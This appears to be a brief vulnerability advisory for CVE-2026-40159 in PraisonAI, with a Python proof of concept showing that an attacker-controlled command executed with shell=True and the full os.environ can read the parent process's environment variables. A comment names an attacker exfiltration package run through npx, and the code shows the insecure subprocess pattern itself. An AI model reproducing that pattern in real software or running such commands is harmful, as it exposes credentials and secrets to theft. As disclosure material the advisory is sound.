CVE-2026-40159 PraisonAI敏感信息泄露漏洞

import subprocess import os # Proof of Concept: Demonstrating environment variable leakage # This simulates how the vulnerable application spawns a process. # In a real scenario, an attacker controls 'user_command' (e.g., via MCP) # Example: "npx -y @attacker/exfil-tool" user_command = "env" # Using 'env' to safely demonstrate that vars are visible print("[*] Simulating vulnerable subprocess execution...") # Vulnerable behavior: Passing the full environment dictionary (os.environ) # to the child process without sanitization. try: # This mimics the vulnerable code path in PraisonAI < 4.5.128 process = subprocess.Popen( user_command, shell=True, env=os.environ # Vulnerability: Leaking all parent env vars ) process.wait() except Exception as e: print(f"Error: {e}") # In an exploit, the command would be a malicious package that sends # process.env (in Node.js) or os.environ (in Python) to a remote server.
